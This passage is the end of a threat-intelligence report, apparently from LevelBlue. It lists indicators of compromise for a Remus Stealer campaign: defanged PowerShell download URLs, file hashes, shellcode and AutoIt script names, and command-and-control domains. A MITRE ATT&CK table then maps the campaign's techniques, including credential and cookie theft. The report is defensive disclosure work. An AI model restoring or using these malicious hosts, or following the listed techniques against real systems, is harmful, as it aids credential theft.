citywebntw[.]com/Check/Update[.]ps1

littnetworks[.]com/check/update[.]ps1

05629F35DFE1409EA963C135581C228E3B71869B0707974244F6938AF635A70E

audio-music.exe

8F4903B8B110EC1B9580A5A27BF49C3E4793538A863100559D085B7545FCDA25

data_work.exe

f02e2fefd74c7268e3aced61017173fff92e2a1d0e7eaf7807189f371fbfcc1f

download-package.exe

61def8b242913b520ec110458a416b02a6a38dc8765bc76bd571ee7ae8350aae

AutoStart_33875e.au3

22B0FC350B5E5C557344267B3C44323AC117D3FBEB5CF1BCB8B027352155FA11

Setup_e30ea5.au3

A38E6F54EFE342B4A2CA9AC4428A5268FAED96CD602BAA1886EFB09F72435ABB

Config_9571a0.au3

5363bc92bac44aa2ba87b46c59fd3f78d5cdd32839efa854e97380a55fdacabb

Donut Shellcode

dc0a864f441f0237853b40217eda577defb7c1dd15af407c7241688b1b3a3b46

Remus Stealer

a0923188fbd52277e1711ae312f3c6fb841f3cdebe1a95d5c89fe2455f8ace32

oceanvw[.]click

Remus Stealer C2

cruahop[.]shop

drepace[.]click

spogear[.]click

 

Appendix C: MITRE ATT&CK

Tactic

Technique

ID

Initial Access

Drive-by Compromise

T1189

Execution

Command and Scripting Interpreter: PowerShell

T1059.001

Command and Scripting Interpreter: Windows Command Shell

T1059.003

Command and Scripting Interpreter: JavaScript

T1059.007

Command and Scripting Interpreter: AutoHotKey & AutoIT

T1059.010

System Binary Proxy Execution: Rundll32

T1218.011

User Execution: Malicious Copy and Paste

T1204.004

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Process Injection: Portable Executable Injection

T1055.002

Event Triggered Execution: Windows Management Instrumentation Event Subscription

T1546.003

Stealth

Reflective Code Loading

T1620

Deobfuscate/Decode Files or Information

T1140

Obfuscated Files or Information

T1027

Masquerading: Match Legitimate Resource Name or Location

T1036.005

Hijack Execution Flow: DLL

T1574.001

Hide Artifacts: Hidden Window

T1564.003

Credential Access

Steal Web Session Cookie

T1539

Unsecured Credentials: Credentials In Files

T1552.001

Credentials from Password Stores: Credentials from Web Browsers

T1555.003

Collection

Data from Local System

T1005

Screen Capture

T1113

Archive Collected Data: Archive via Custom Method

T1560.003

Data Staged

T1074

Discovery

Browser Information Discovery

T1217

System Network Configuration Discovery

T1016

Process Discovery

T1057

System Information Discovery

T1082

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

T1497

Software Discovery: Security Software Discovery

T1518.001

Command and Control

Web Service: Dead Drop Resolver

T1102.001

Application Layer Protocol: Web Protocols

T1071.001

Non-Standard Port

T1571

Ingress Tool Transfer

T1105

Encrypted Channel

T1573

Hide Infrastructure

T1665

Exfiltration

Exfiltration Over C2 Channel

T1041

About LevelBlue

LevelBlue secures what's next with intelligence-led security delivering visibility and speed to stop threats faster. As the world’s largest and most analyst-recognized pure-play managed security services provider, our AI-powered managed services and cyber expertise across managed, advisory, and incident response services help clients operate with confidence. Learn more about us.

Discover how our specialists can tailor a security program to fit the needs of your organization.

Request a Demo